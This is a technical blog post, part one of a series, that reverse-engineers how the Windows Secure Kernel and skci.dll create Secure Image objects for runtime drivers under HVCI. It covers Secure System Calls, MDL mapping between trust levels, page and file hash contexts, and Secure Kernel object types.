Normal view

There are new articles available, click to refresh the page.
Today — 3 June 2024Vulnerabily Research

Windows Internals: Dissecting Secure Image Objects - Part 1

1 June 2024 at 00:00

Introduction

Recently I have been working on an un-published (at this time) blog post that will look at how securekernel.exe and ntoskrnl.exe work together in order to enable and support the Kernel Control Flow Guard (Kernel CFG) feature, which is enabled under certain circumstances on modern Windows systems. This comes from the fact that I have recently been receiving questions from others on this topic. During the course of my research, I realized that a relatively-unknown topic that kept reappearing in my analysis was the concept of Normal Address Ranges (NARs) and Normal Address Table Entries (NTEs), sometimes referred to as NT Address Ranges or NT Address Table Entries. The only mention I have seen of these terms comes from Windows Internals 7th Edition, Part 2, Chapter 9, which was written by Andrea Allievi. The more I dug in, the more I realized this topic could probably use its own blog post.

However, when I started working on that blog post I realized that the concept of “Secure Image Objects” also plays into NAR and NTE creation. Because of this, I realized I maybe could just start with Secure Image objects!

Given the lack of debugging capabilities for securekernel.exe, lack of user-defined types (UDTs) in the securekernel.exe symbols, and overall lack of public information, there is no way (as we will see) I will be able to completely map Secure Image objects back to absolute structure definitions (and the same goes with NAR/NTEs). This blog (and subsequent ones) are really just analysis posts outlining things such as Secure System Calls, functionality, the reverse engineering methodology I take, etc. I am not an expert on this subject matter (like Andrea, Satoshi Tanda, or others) and mainly writing up my analysis for the sheer fact there isn’t too much information out there on these subjects and I also greatly enjoy writing long-form blog posts. With that said, the “song-and-dance” performed between NT and Secure Kernel to load images/share resources/etc. is a very complex (in my mind) topic. The terms I use are based on the names of the functions, and may differ from the actual terms as an example. So please feel free to reach out with improvements/corrections. Lastly, Secure Image objects can be created for other images other than drivers. We will be focusing on driver loads. With this said, I hope you enjoy!

SECURE_IMAGE Overview

Windows Internals, 7th Edition, Chapter 9 gives a brief mention of SECURE_IMAGE objects:

…The NAR contains some information of the range (such as its base address and size) and a pointer to a SECURE_IMAGE data structure, which is used for describing runtime drivers (in general, images verified using Secure HVCI, including user mode images used for trustlets) loaded in VTL 0. Boot-loaded drivers do not use the SECURE_IMAGE data structure because they are treated by the NT memory manager as private pages that contain executable code…

As we know with HVCI (at the risk of being interpreted as pretentious, which is not my intent, I have linked my own blog post), VTL 1 is responsible for enforcing W^X (write XOR execute, meaning WX memory is not allowed). Given that drivers can be dynamically loaded at anytime on Windows, VTL 0 and VTL 1 need to work together in order to ensure that before such drivers are actually loaded, the Secure Kernel has the opportunity to apply the correct safeguards to ensure the new driver isn’t used, for instance, to load unsigned code. This whole process starts with the creation of the Secure Image object.

This is required because the Secure Kernel needs to monitor access to some of the memory present in VTL 0, where “normal” drivers live. Secure Image objects allow the Secure Kernel to manage the state of these runtime drivers. Managing the state of these drivers is crucial to enforcing many of the mitigations provided by virtualization capabilities, such as HVCI. A very basic example of this is when a driver is being loaded in VTL 0, we know that VTL 1 needs to create the proper Second Layer Address Translation (SLAT) protections for each of the given sections that make up the driver (e.g., the .text section should be RX, .data RW, etc.). In order for VTL 1 to do that, it would likely need some additional information and context, such as maybe the address of the entry point of the image, the number of PE sections, etc. - this is the sort of thing a Secure Image object can provide - which is much of the needed context that the Secure Kernel needs to “do its thing”.

This whole process starts with code in NT which, upon loading runtime drivers, results in NT extracting the headers from the image being loaded and sending this information to the Secure Kernel in order to perform the initial header verification and build out the Secure Image object.

I want to make clear again - although the process for creating a Secure Image object may start with what we are about to see in this blog post, even after the Secure System Call returns to VTL 0 in order to create the initial object, there is still a “song-and-dance” performed by ntoskrnl.exe, securekernel.exe, and skci.dll. This specific blog does not go over this whole “song-and-dance”. This blog will focus on the initial steps taken to get the object created in the Secure Kernel. In future blogs we will look at what happens after the initial object is created. For now, we will just stick with the initial object creation.

A Tiny Secure System Call Primer

Secure Image object creation begins through a mechanism known as a Secure System Call. Secure System Calls work at a high-level similarly to how a traditional system call works:

  1. An untrusted component (NT in this case) needs to access a resource in a privileged component (Secure Kernel in this case)
  2. The privileged component exposes an interface to the untrusted component
  3. The untrusted component packs up information it wants to send to the privileged component
  4. The untrusted component specifies a given “call number” to indicate what kind of resource it needs access to
  5. The privileged component takes all of the information, verifies it, and acts on it

A “traditional” system call will result in the emission of a syscall assembly instruction, which performs work in order to change the current execution context from user-mode to kernel-mode. Once in kernel-mode, the original request reaches a specified dispatch function which is responsible for servicing the request outlined by the System Call Number. Similarly, a Secure System Call works almost the same in concept (but not necessarily in the technical implementation). Instead of syscall, however, a vmcall instruction is emitted. vmcall is not specific to the Secure Kernel and is a general opcode in the 64-bit instruction set. A vmcall instruction simply allows guest software (in our case, as we know from HVCI, VTL 0 - which is where NT lives - is effectively treated as “the guest”) to make a call into the underlying VM monitor/supervisor (Hyper-V). In other words, this results in a call into Secure Kernel from NT.

The NT function nt!VslpEnterIumSecureMode is a wrapper for emitting a vmcall. The thought process can be summed up, therefore, as this: if a given function invokes the nt!VslpEnterIumSecureMode function in NT, that caller of said function is responsible (generally speaking mind you) of invoking a Secure System Call.

Although performing dynamic analysis on the Secure Kernel is difficult, one thing to note here is that the order the Secure Systm Call arguments are packed and shipped to the Secure Kernel is the same order the Secure Kernel will operate on them. So, as an example, the function nt!VslCreateSecureImageSection is one of the many functions in NT that results in a call to nt!VslpEnterIumSecureMode.

The Secure System Call Number, or SSCN, is stored in the RDX register. The R9 register, although not obvious from the screenshot above, is responsible for storing the packed Secure System Call arguments. These arguments are packed in the form of a in-memory typedef struct structure (which we will look at later).

On the Secure Kernel side, the function securekernel!IumInvokeSecureService is a very large function which is the “entry point” for Secure System Calls. This contains a large switch/case statement that correlates a given SSCN to a specific dispatch function handler. The exact same order these arguments are packed is the exact same order they will be unpacked and operated on by the Secure Kernel (in the screenshot below, a1 is the address of the structure, and we can see how various offsets are being extracted from the structure, which is due to struct->Member access).

Now that we have a bit of an understanding here, let’s move on to see how the Secure System Call mechanism is used to help Secure Kernel create a Secure Image object!

SECURE_IMAGE (Non-Comprehensive!) Creation Overview

Although by no means is this a surefire way to identify this data, a method that could be employed to locate the functionality for creating Secure Image objects is to just search for terms like SecureImage in the Secure Kernel symbols. Within the call to securekernel!SkmmCreateSecureImageSection we see a call to an externally-imported function, skci!SkciCreateSecureImage.

This means it is highly likely that securekernel!SkmmCreateSecureImageSection is responsible for accepting some parameters surrounding the Secure Image object creation and forwarding that on to skci!SkciCreateSecureImage. Focusing our attention on securekernel!SkmmCreateSecureImageSection we can see that this functionality (securekernel!SkmmCreateSecureImageSection) is triggered through a Secure System Call with an SSCN of 0x19 (the screenshot below is from the securekernel!IumInvokeSecureService Secure System Call dispatch function).

Again, by no means is this correct in all cases, but I have noticed that most of the time when a Secure System Call is issued from ntoskrnl.exe, the corresponding “lowest-level function”, which is responsible for invoking nt!VslpEnterIumSecureMode, has a similar name to the associated sispatch function in securekernel.exe which handles the Secure System Call. Luckily this applies here and the function which issues the SSCN of 0x19 is the nt!VslCreateSecureImageSection function.

Based on the call stack here, we can see that when a new section object is created for a target driver image being loaded, the ci.dll module is dispatched in order to determine if the image is compatible with HVCI (if it isn’t, STATUS_INVALID_IMAGE_HASH is returned). Examining the parameters of the Secure System Call reveals the following.

Note that at several points I will have restarted the machine the analysis was performed on and due to KASLR the addresses will change. I will provide enough context in the post to overcome this obstacle.

With Secure System Calls, the first parameter (seems to be) always 0 and/or reserved. This means the arguments to create a Secure Image object are packed as follows.

typedef struct _SECURE_IMAGE_CREATE_ARGS
{
    PVOID Reserved;
    PVOID VirtualAddress;
    PVOID PageFrameNumber;
    bool Unknown;
    ULONG Unknown;
    ULONG Unknown1;
} SECURE_IMAGE_CREATE_ARGS;

As a small point of contention, I know that the page frame number is such because I am used to dealing with looking into memory operations that involve both physical and virtual addresses. Anytime I see I am dealing with some sort of lower-level concept, like loading a driver into memory and I see a value that looks like a ULONG paired with a virtual address, I always assume this could be a PFN. I always assume this further in cases especially when the ULONG value is not aligned. A physical memory address is simply (page frame number * 0x1000), plus any potential offset. Since there is not 0 or 00 at the end of the address, this tells me that this is the page frame number. This is not a “sure” method to do this, but I will show how I validated this below.

At first, I was pretty stuck on what this first virtual address was used for. We previously saw the call stack which is responsible for invoking nt!VslCreateSecureImageSection. If you trace execution in IDA, however, you will quickly see this call stack is a bit convoluted as most of the functions called are called via function pointer as an input parameter from other functions making tracing the arguments a bit difficult. Fortunately, I saw that this virtual address was used in a call to securekernel!SkmmMapDataTransfer almost immediately within the Secure System Call handler function (securekernel!SkmmCreateSecureImageSection). Note although IDA is annotated a bit with additional information, we will get to that shortly.

It seems this function is actually publicly-documented thanks to Saar Amar and Daniel King’s BlackHat talk! This actually reveals to us that the first argument is an MDL (Memory Descriptor List) while the second parameter, which is PageFrameNumber, is a page frame number which we don’t know its use yet.

According to the talk, securekernel.exe tends to use MDLs, which are provided by VTL 0, for cases where data may need to be accessed by VTL 1. By no means is this an MDL internals post, but I will give a brief overview quickly. An MDL (nt!_MDL) is effectively a fixed-sized header which is prepended to a variable-length array of page frame numbers (PFNs). Virtual memory, as we know, is contiguous. The normal size of a page on Windows is 4096, or 0x1000 bytes. Using a contrived example (not taking into account any optimizations/etc.), let’s say a piece of malware allocated 0x2000 bytes of memory and stored shellcode in that same allocation. We could expect the layout of memory to look as follows.

We can see in this example the shellcode spans the virtual pages 0x1ad2000 and 0x1ad3000. However, this is the virtual location, which is contiguous. In the next example, the reality of the situation creeps in as the physical pages which back the shellcode are in two separate locations.

An MDL would be used in this case to describe the physical layout of the memory of a virtual memory region. The MDL is used to say “hey I have this contiguous buffer in virtual memory, but here are the physical non-contiguous page(s) which describe this contiguous range of virtual memory”.

MDLs are also typically used for direct memory access (DMA) operations. DMA operations don’t have the luxury of much verification, because they need to access data quickly (think UDP vs TCP). Because of this an MDL is used because it typically first locks the memory range described into memory so that the DMA operation doesn’t ever access invalid memory.

One of the main features of an MDL is that it allows multiple mappings for the given virtual address a given MDL described (the StartVa is the beginning of the virtual address range the MDL describes). For instance, consider an MDL with the following layout: a user-mode buffer is described by an MDL’s StartVa. As we know, user-mode addresses are only valid within the process context of which they reside (and the address space is per-process based on the current page table directory loaded into the CR3 register). Let’s say that a driver, which is in an arbitrary context needs to access the information in the user-mode buffer contained in Mdl->StartVa. If the driver goes to access this, and the process context is processA.exe but the address was only valid in processB.exe, you are accessing invalid memory and you would cause a crash.

An MDL allows you, through the MmGetSystemAddressForMdlSafe API, to actually request that the system map this memory into the system address space, from the non-paged pool. This allows us to access the contents of the user-mode buffer, through a kernel-mode address, in an arbitrary process context.

Now, using that knowledge, we can see that the exact same reason VTL 0 and VTL 1 use MDLs! We can think of VTL 0 as the “user-mode” portion, and VTL 1 as the “kernel-mode” portion, where VTL 0 has an address with data that VTL 1 wants. VTL 1 can take that data (in the form of an MDL) and map it into VTL 1 so it can safely access the contents of memory described by the MDL.

Taking a look back at how the MDL looks, we can see that StartVa, which is the buffer the MDL describes, is some sort of base address. We can confirm this is actually the base address of an image being loaded because it contains nt!_IMAGE_DOS_HEADER header (0x5a4d is the magic (MZ) for a PE file and can be found in the beginning of the image, which is what a kernel image is).

However, although this looks to be the “base image”, based on the alignment of Mdl->StartVa, we can see quickly that ByteCount tells us only the first 0x1000 bytes of this memory allocation are accessible via this MDL. The ByteCount of an MDL denotes the size of the range being described by the MDL. Usually the first 0x1000 bytes of an image are reserved for all of the headers (IMAGE_DOS_HEADER, IMAGE_FILE_HEADER, etc.). If we recall the original call stack (provided below for completeness) we can actually see that the NT function nt!SeValidateImageHeader is responsible for redirecting execution to ci.dll (which eventually results in the Secure System Call). This means in reality, although the StartVa is aligned to look like a base address, we are really just dealing with the headers of the target image at this point. Even though the StartVa is aligned like a base address, the fact of the matter is the actual address is not relevant to us - only the headers are.

As a point of contention before we move on, we can do basic retroactive analysis based on the call stack to clearly see that the image has only been mapped into memory. It has not been fully loaded - and only the initial section object that backs the image is present in virtual memory. As we do more analysis in this post, we will also verify this to be the case with actual data that shows many of the default values in the headers, from disk, haven’t been fixed up (which normally happens when the image is fully loaded).

Great! Now that we know this first paramter is an MDL that contains the image headers, the next thing that needs to happen is for securekernel.exe to figure out how to safely access the contents region described by the MDL (which are the headers).

The first thing that VTL 1 will do is take the MDL we just showed, provided by VTL 0, and creates a new MDL in VTL 1 that describes the provided MDL from VTL 0. In other words, the new MDL will be laid out as follows.

Vtl1CopyOfVtl0Mdl->StartVa = page_aligned_address_mdl_starts_in;
Vtl1CopyOfVtl0Mdl->ByteOffset = offset_from_page_aligned_address_to_actual_address;

MDLs usually work with a page-aligned address as the base, and any offset in ByteOffset. This is why the VTL 0 MDL is address is first page-aligned (Vtl0Mdl & 0xFFFFFFFFFFFFF000), and the offset to the MDL in the page is set in ByteOffset.

Additionally, from the previous image, we can now realize what the first page frame number used in our Secure System Call parameters is used for. This is the PFN which corresponds to the MDL (the parameter PfnOfVtl0Mdl). We can validate this in WinDbg.

We know that a physical page of memory is simply (page frame number * PAGE_SIZE + any offset). Although we can see in the previous screenshot that the contents of memory for the page-aligned address of the MDL and the physical memory correspond, if we add the page offset (0x250 in this case) we can clearly see that there is no doubt this is the PFN for the VTL 0 MDL. We can additionally see that for the PTE of the VTL0 MDL the PFNs align!

This MDL, after construction, has StartVa mapped into VTL 1. At this point, for all intents and purposes, vtl1MdlThatDescribesVtl0Mdl->MappedSystemVa contains the VTL 1 mapping of the VTL 0 MDL! All integrity checks are then performed on the MDL.

VTL 1 has now mapped the VTL 0 MDL (using another MDL). MappedSystemVa is now a pointer to the VTL 1 mapping of the VTL 0 MDL, and the integrity checks now occur on this new mapping, instead of directly operating on the VTL 0 MDL. After confirming the VTL 0 MDL contains legitimate data (the large if statement in the screenshot below), another MDL (not the MDL from VTL 0, not the MDL created by VTL 1 to describe the MDL from VTL 0, but a third, new MDL) is created. This MDL will be an actual copy of the now verified contents of the VTL 0 MDL. In otherwords, thirdNewMDl->StartVa = StartAddressOfHeaders (which is start of the image we are dealing with in the first place to create a securekernel!_SECURE_IMAGE structure).

We can now clearly see that since VTL 1 has created this new MDL, the page frame number (PFN) of the VTL 0 MDL was provided since a mapping of virtual memory is simply just creating another virtual page which is backed by a common physical page. When the new MDL is mapped, the Secure Kernel can then use NewMdl->MappedSystemVa to safely access, in the Secure Kernel virtual address space, the header information provided by the MDL from VTL 0.

The VTL 1 MDL, which is mapped into VTL 1 and has now had all contents verified. We now return back to the original caller where we started in the first place - securekernel!SkmmCreateSecureImageSection. This then allows VTL 1 to have a memory buffer where the contents of the image from VTL 0 resides. We can clearly see below this is immediately used in a call to RtlImageNtHeaderEx in order to validate that the memory which VTL 0 sent in the first place contains a legitimate image in order to create a securekernel!_SECURE_IMAGE object. It is also at this point that we determine if we are dealing with the 32-bit or 64-bit architecture.

More information is then gathered, such as the size of the optional headers, the section alignment, etc. Once this information is flushed out, a call to an external function SkciCreateSecureImage is made. Based on the naming convention, we can infer this function resides in skci.dll.

We know in the original Secure System Call that the second parameter is the PFN which backs the VTL 0 MDL. UnknownUlong and UnknownUlong1 here are the 4th and 5th parameters, respectively, passed to securekernel!SkmmCreateSecureImageSection. As of right now we also don’t know what they are. The last value I noticed was consistently this 0x800c constant across multiple calls to securekernel!SkmmCreateSecureImageSection.

Opening skci.dll in IDA, we can examine this function further, which seemingly is responsible for creating the secure image.

Taking a look into this function a bit more, we can see this function doesn’t create the object itself but it creates a “Secure Image Context”, which on this build of Windows is 0x110 bytes in size. The first function called in skci!SkciCreateSecureImage is skci!HashKGetHashLength. This is a very simple function, and it accepts two parameters - one an input and one an output or return. The input parameter is our last Secure System Call parameter, which was 0x800C.

Although IDA’s decompilation here is a bit confusing, what this function does is look for a few constant values - one of the options is 0x800C. If the value 0x800C is provided, the output parameter (which is the hash size based on function name and the fact the actual return value is of type NTSTATUS) is set to 0x20. This effectively insinuates that since obviously 0x800C is not a 0x20 byte value, nor a hash, that 0x800C must instead refer to a type of hash which is likely associated with an image. We can then essentially say that the last Secure System Call parameter for secure image creation is the “type” of hash associated with this image. In fact, looking at cross references to this function reveals that the function skci!CiInitializeCatalogs passes the parameter skci!g_CiMinimumHashAlgorithm as the first parameter to this function - meaning that the first parameter actually specifies the hash algorithm.

After calculating the hash size, the Secure Image Context is then built out. This starts by obtaining the Image Headers (nt!_IMAGE_NT_HEADERS64) headers for the image. Then the Secure Image Context is allocated from the pool and initialized to 0 (this is how we know the Secure Image Context is 0x110 bytes in size). The various sections contained in the image are used to build out much of the information tracked by the Secure Image Context.

Note that UnknownULong1 was updated to ImageSize. I wish I had a better way to explain as to how I identified this, but in reality it happenstance as I was examining the optional headers I realized I had seen this value before. See the image below to validate that the value from the Secure System Call arguments corresponds to SizeOfImage.

One thing to keep in mind here is a SECURE_IMAGE object is created before ntoskrnl.exe has had a chance actually perform the full loading of the image. At this point the image is mapped into virtual memory, but not loaded. We can see this by examining the nt!_IMAGE_NT_HEADERS64 structure and seeing that ImageBase in the nt!_IMAGE_OPTIONAL_HEADER64 structure is still set to a generic 0x1c0000000 address instead of the virtual address which the image is currently mapped (because this information has not yet been updated as part of the loading process).

Next in the Secure Image Context creation functionality, the Secure Kernel locates the .rsrc section of the image and the Resource Data Directory. This information is used to calculate the file offset to the Resource Data Directory and also captures the virtual size of the .rsrc section.

After this skci!SkciCreateSecureImage will, if the parameter we previously identified as UnknownBool is set to true, allocate some pool memory which will be used in a call to skci!CiCreateVerificationContextForImageGeneratedPageHashes. This infers to us the “unknown bool” is really an indicator whether or not to create the Verification Context. A context, in this instance, refers to some memory (usually in the form of a structure) which contains information related to the context in which something was created, but wouldn’t be available later otherwise.

The reader should know - I asked Andrea a question about this. The answer here is that a file can either be page-hashed or file-hashed signed. Although the bool gates creating the Verification Context, it is more aptly used to describe if a file is file-hashed or page-hashed. If the image is file-hashed signed, the Verification Context is created. For page-hashed files there is no need for the additional context information (we will see why shortly).

This begs the question - how do we know if we are dealing with a file that was page-hashed signed or file-hash signed? Taking a short detour, this starts in the initial section object creation (nt!MiCreateNewSection). During this time a bitmask, based on the parameters surrounding the creation of the section object that will back the loaded driver is formed. A partially-reversed CREATE_SECTION_PACKET structure from my friend Johnny Shaw outlines this. Packet->Flags is one of the main factors that dictates how this new bitmask is formulated. In the case of the analysis being done in this blog post, when bit 21 (PacketFlags & 0x100000) and when bit 6 (PacketFlags & 0x20) are set, we get the value for our new mask - which has a value of 0x40000001. This bitmask is then carried through to the header validation functions, as seen below.

This bitmask will finally make its way to ci!CiGetActionsForImage. This call, as the name infers, returns another bitmask based on our 0x40000001 bitmask. The caller of ci!CiGetActionsForImage is ci!CiValidateImageHeader. This new returned bitmask gives instructions to the header validation function as to what actions to take for validation.

As previous art shows, depending on the bitmask returned the header validation is going to be done via page hash validation, or file hash validation by supplying a function pointer to the actual validation function.

The two terms (page-hash signed and file-hash signed) can be very confusing - and there is very little information about them in the wild. A file-hashed file is one that has the entire contents of the file itself hashed. However, we must consider things like a driver being paged out and paged in. When an image is paged in, for instance, it needs to be validated. Images in this case are always verified using page hashes, and never file hashes (I want to make clear I only know the following information because I asked Andrea). Because a file-hashed file would not have page hash information available (obviously since it is “file-hashed”), skci.dll will create something called a “Page Hash Context” (which we will see shortly) for file-hashed images so that they are compatible with the requirement to verify information using page hashes.

As a point of contention, this means we have determined the arguments used for a Secure Image Secure System Call.

typedef struct _SECURE_IMAGE_CREATE_ARGS
{
    PVOID Reserved;
    PVOID Vtl0MdlImageHeaders;
    PVOID PageFrameNumberForMdl;
    bool ImageeIsFileHashedCreateVerificationContext;
    ULONG ImageSize;
    ULONG HashAlgorithm;
} SECURE_IMAGE_CREATE_ARGS;

Moving on, the first thing this function (since we are dealing with a file-hashed image) does is actually call two functions which are responsible for creating additional contexts - the first is an “Image Hash Context” and the second is a “Page Hash Context”. These contexts are stored in the main Verification Context.

skci!CiCreateImageHashContext is a relatively small wrapper that simply takes the hashing algorithm passed in as part of the Secure Image Secure System Call (0x800C in our case) and uses this in a call to skci!SymCryptSha256Init. skci!SymCryptSha256Init takes the hash algorithm (0x800C) and uses it to create the Image Hash Context for our image (which really isn’t so much a “context” as it mainly just contains the size of the hash and the hashing data itself).

The Page Hash Context information is only produced for a file-hashed image. Otherwise file-hashed images would not have a way to be verified in the future as only page hashes are used for verification of the image. Page Hash Context are slightly more involved, but provide much of the same information. skci!CiCreatePageHashContextForImageMapping is responsible for creating this context and VerificationContext_Offset_0x108 stores the actual Page Hash Context.

The Page Hash Context logic begins by using SizeOfRawData from each of the section headers (IMAGE_SECTION_HEADER) to iterate over of the sections available in the image being processed and to capture how many pages make up each section (determines how many pages make up all of the sections of the image).

This information, along with IMAGE_OPTIONAL_HEADER->SizeOfHeaders, the size of the image itself, and the number of pages that span the sections of the image are stored in the Page Hash Context. Additionally, the Page Hash Context is then allocated based on the size of the sections (to ensure enough room is present to store all of the needed information).

After this, the Page Hash Context information is filled out. This begins by only storing the first page of the image in the Page Hash Context. The rest of the pages in each of the sections of the target image are filled out via skci!SkciValidateImageData, which is triggered by a separate Secure System Call. This comes at a later stage after the current Secure System Call has returned but before we have left the original nt!MiCreateNewSection function. We will see this in a future blog post.

Now that the initial Verification Context (which contains also the Page Hash and Image Hash Contexts) have been created (but as we know will be updated with more information later), skci!SkciCreateSecureImage will then sort and copy information from the Image Section Headers and store them in the Verification Context. This function will also calculate the file offset for the last section in the image by computing PointerToRawData + SizeOfRawData in the skci!CiGetFileOffsetAfterLastRawSectionData function.

After this, the Secure Image Context creation work is almost done. The last thing this function does is compute the hash of the first page of the image and stores it in the Secure Image Context directly this time. This also means the Secure Image Context is returned by the caller of skci!SkciCreateSecureImage, which is the Secure Kernel function servicing the original Secure System Call.

Note that previously we saw skci!CiAddPagesToPageHashContext called within skci!CiCreatePageHashContextForImageMapping. In the call in the above image, the fourth parameter is SizeOfHeaders, but in the call within skci!CiCreatePageHashContextForImageMapping the parameter was MdlByteCount - which is the ByteCount provided earlier by the MDL in the Secure System Call arguments. In our case, SizeOfHeaders and the ByteCount are both 0x1000 - which infers that when the MDL is constructured, the ByteCount is set to 0x1000 based on the SizeOfHeaders from the Optional Header. This validates what we mentioned at the beginning of the blog where although the “base address” is used as the first Secure System Call parameter, this could be more specifically referred to as the “headers” for the image.

The Secure Kernel maintains a table of all active Secure Images that are known. There are two very similar tables, which are used to track threads and NARs (securekernel!SkiThreadTable/securekernel!SkiNarTable). These are of type “sparse tables”. A sparse table is a computer science concept that effectively works like a static array of data, but instead of it being unordered the data is ordered which allows for faster lookups. It works by supporting 0x10000000, or 256,000 entries. Note that these entries are not all allocated at once, but are simply “reserved” in the sense that the entries that are not in use are not mapped.

Secure Images are tracked via the securekernel!SkmiImageTable symbol. This table, as a side note, is initialized when the Secure Kernel initializes. The Secure Pool, the Secure Image infrastructure, and the Code Integrity infrastructure are initialized after the kernel-mode user-shared data page is mapped into the Secure Kernel.

The Secure Kernel first allocates an entry in the table where this Secure Image object will be stored. To calculate the index where the object will be stored, securekernel!SkmmAllocateSparseTableEntry is called. This creates a sizeof(ULONG_PTR) “index” structure. This determines the index into the table where the object is stored. In the case of storing a new entry, on 64-bit, the first 4 bytes provide the index and the last 4 bytes are unused (or, if they are used, I couldn’t see where). This is all done back in the original function securekernel!SkmmCreateSecureImageSection, after the function which creates the Secure Image Context has returned.

As we can also see above, this is where our actual Secure Image object is created. As the functionality of securekernel!SkmmCreateSecureImageSection continues, this object will get filled out with more and more information. Some of the first data collected is if the image is already loaded in a valid kernel address. From the blog earlier, we mentioned the Secure Image loading occurs when an image is first mapped but not loaded. This seems to infer it is possible for a Secure Image to be at least already loaded at a valid kernel-mode address. If it is loaded, a bitwise OR happens with a mask of 0x1000 to indicate this. The entry point of the image is captured, and the previously-allocated Secure Image Context data is saved. Also among the first information collected is the Virtual Address and Size of the Load Config Data Directory.

The next items start by determining if the image being loaded is characterized as a DLL (this is technically possible, for example, ci.dll is loaded into kernel-mode) by checking if the 13th bit is set in the FileHeader.Characteristics bitmask.

After this, the Secure Image creation logic will create an allocation based on the size of the image from NtHeaders->OptionalHeader->SizeOfImage. This allocation is not touched again during the initialization logic.

At this point, for each of the sections in the image, the prototype PTEs for the image (via securekernel!SkmiPopulateImagePrototypes) are populated. If you are not familiar, when a shared memory region is shared for, as an example, between two-processes an issue arises at the PTE level. A prototype PTE allows easily for the memory manager to track pages that are shared between two processes. As even Windows Internals, 7th Edition, Part 1, Chapter 5 states - prototype PTEs are created for a pagefile-backed section object when it is first created. The same this effectively is happening here, but instead of actually creating the prototype PTEs (because this is done in VTL 0), the Secure Kernel now obtains a pointer to the prototype PTEs.

After this, additional section data and relocation information for the image is captured. This first starts by checking if the relocation information is stripped and, if the information hasn’t been stripped, the code captures the Image Data Directory associated with relocation information.

The next thing that occurs is, again, each of the present sections is iterated over. This is done to capture some important information about each section in a memory allocation that is stored in the Secure Image object. Specifically here, relocation information is being processed. The Secure Image object creation logic will first allocate some memory in order to store the Virtual Address page number, size of the raw data in number of pages, and pointer to raw data for the section header that is currently being processed. As a part of each check, the logic determines if the relocation table falls within the range of the current section. If it does, the file offset to the relocation table is calculated and stored in the Secure Image object.

Additionally, we saw previously that if the relocation information was stripped out of the image, the Secure Image object (at offset 0x50 and 0x58) were updated with values of false and true, 0 and 1, respectively. This seems to indicate why the relocation information may not be present. In this case, however, if the relocation information wasn’t stripped but there legitimately was no relocation information available (the Image Data Directory entry for the relocation data was zero), these boolean values are updated to true and false, 1 and 0, respectively. This would seem to indicate to the Secure Image object why the relocation information may or may not be present.

The last bits of information the Secure Image object creation logic processes are:

  1. Is the image being processed a 64-bit executable image or are the number of data directories at least 10 decimal in amount to support the data directory we want to capture? If not, skip step 2.
  2. If the above is true, allocate and fill out the “Dynamic Relocation Data”

As a side-note, I only determines the proper name for this data is “Dynamic Relocation Data” because of the routine securekernel!SkmiDeleteImage - which is responsible for deleting a Secure Image object when the object’s reference count reaches 0 (after we get through this last bit of information that is processed, we will talk about this routine in more detail). In the securekernel!SkmiDeleteImage logic, a few pointers in the object itself are checked to see if they are allocated. If they are, they are freed (this makes sense, as we have seen there have been many more memory allocations than just the object itself). SecureImageObject + 0xB8 is checked as a place in the Secure Image object that is allocated. If the allocation is present, a function called securekernel!SkmiFreeDynamicRelocationInfo is called to presumably free this memory.

This would indicate that the “Dynamic Relocation Data” is being created in the Secure Image object creation logic.

The information captured here refers to the load configuration Image Data Directory. The information about the load config data is verified, and the virtual address and size are captured and stored in the Secure Image object. This makes sense, as the dynamic relocation table is just the load config directory of an executable.

This is the last information the Secure Image object needs for the initialization (we know more information will be collected after this Secure System Call returns)! Up until this point, the last parameter we haven’t touched in the securekernel!SkmmCreateSecureImageSection function is the last parameter, which is actually an output parameter. The output parameter here is filled with the results of a call to securekernel!SkobCreateHandle.

If we look back at the initial Secure System Call dispatch function, this output parameter will be stored in the original Secure System Call arguments at offset 0x10 (16 decimal)

This handle is also stored in the Secure Image object itself. This also infers that when a Secure Image object is created, a handle to the object is returned to VTL 0/NT! This handle is eventually stored in the control area for the section object which backs the image (in VTL 0) itself. This is stored in ControlArea->u2.e2.SeImageStub.StrongImageReference.

Note that this isn’t immediately stored in the Control Area of the section object. This happens later, as we will see in a subsequent blog post, but it is something at least to note here. As another point of contention, the way I knew this handle would eventually be stored here is because when I was previously doing analysis on NAR/NTE creation, which we will eventually talk about, this handle value was the first parameter passed as part of the Secure System Call.

This pretty much sums up the instantiation of the initial Secure Image object. The object is now created but not finalized - much more data still needs to be validated. Because this further validation happens after the Secure System Call returns, I will put that analysis into another blog post. The future post we will look at what ntoskrnl.exe, securekernel.exe, and skci.dll do with this object after the initial creation before the image is actually loaded fully into VTL 0. Before we close the blog post, it is worth taking a look the object itself and how it is treated by the Secure Kernel.

Secure Image Objects - Now What?

After the Secure Image object is created, the “clean-up” code for the end of the function (securekernel!SkmmCreateSecureSection) dereferences the object if the object was created but failure occured during the setting up of the initial object. Notice that the object is dereferenced at 0x20 bytes before the actual object address.

What does this mean? Objects are prepended with a header that contains metadata about the object itself. The reference count for an object, historically, on Windows is contained in the object header (for the normal kernel this is nt!_OBJECT_HEADER). This tells us that each object managed by the Secure Kernel has a 0x20 byte header! Taking a look at securekernel!SkobpDereferenceObject we can clearly see that within this header the reference count itself is stored at offset 0x18. We can also see that there is an object destructor, contained in the header itself.

Just like regular NT objects, there is a similar “OBJECT_TYPE” setup (nt!PsProcessType, nt!PsThreadType, etc.). Taking a look at the image below, securekernel!SkmiImageType is used when referring to Secure Image Objects.

Existing art denotes that this object type pointer (securekernel!SkmiImageType) contains the destructor and size of the object. This can be corroborated by the interested reader by opening securekernel.exe as data in WinDbg (windbgx -z C:\Windows\system32\securekernel.exe) and looking at the object type directly. This reveals that for the securekernel!SkmiImageType symbol there is an object destructor and, as we saw earlier with the value 0xc8, the size of this type of object.

The following are a list of most of the valid objects in the Secure Kernel I located (although it is unclear without further analysis what many of them are used for):

  1. Secure Image Objects (securekernel!SkmiImageType)
  2. Secure HAL DMA Enabler Objects (securekernel!SkhalpDmaEnablerType)
  3. Secure HAL DMA Mapping Objects (securekernel!SkhalpDmaMappingType)
  4. Secure Enclave Objects (securekernel!SkmiEnclaveType)
  5. Secure Hal Extension Object (securekernel!SkhalExtensionType)
  6. Secure Allocation Object (securekernel!SkmiSecureAllocationType)
  7. Secure Thread Object (securekernel!SkeThreadType)
  8. Secure Shadow Synchronization Objects (events/semaphores) (securekernel!SkeShadowSyncObjectType)
  9. Secure Section Object (securekernel!SkmiSectionType)
  10. Secure Process Object (securekernel!SkpsProcessType)
  11. Secure Worker Factory Object (securekernel!SkeWorkerFactoryObjectType)
  12. Secure PnP Device Object (securekernel!SkPnpSecureDeviceObjectType)

Additional Resources

Legitimately, at the end of the analysis I did for this blog, I stumbled across these wonderful documents titled “Security Policy Document”. They are produced by Microsoft for FIPS (The Federal Information Processing Standard). They contains some additional insight into SKCI/CI. Additional documents on other Windows technologies can be found here.

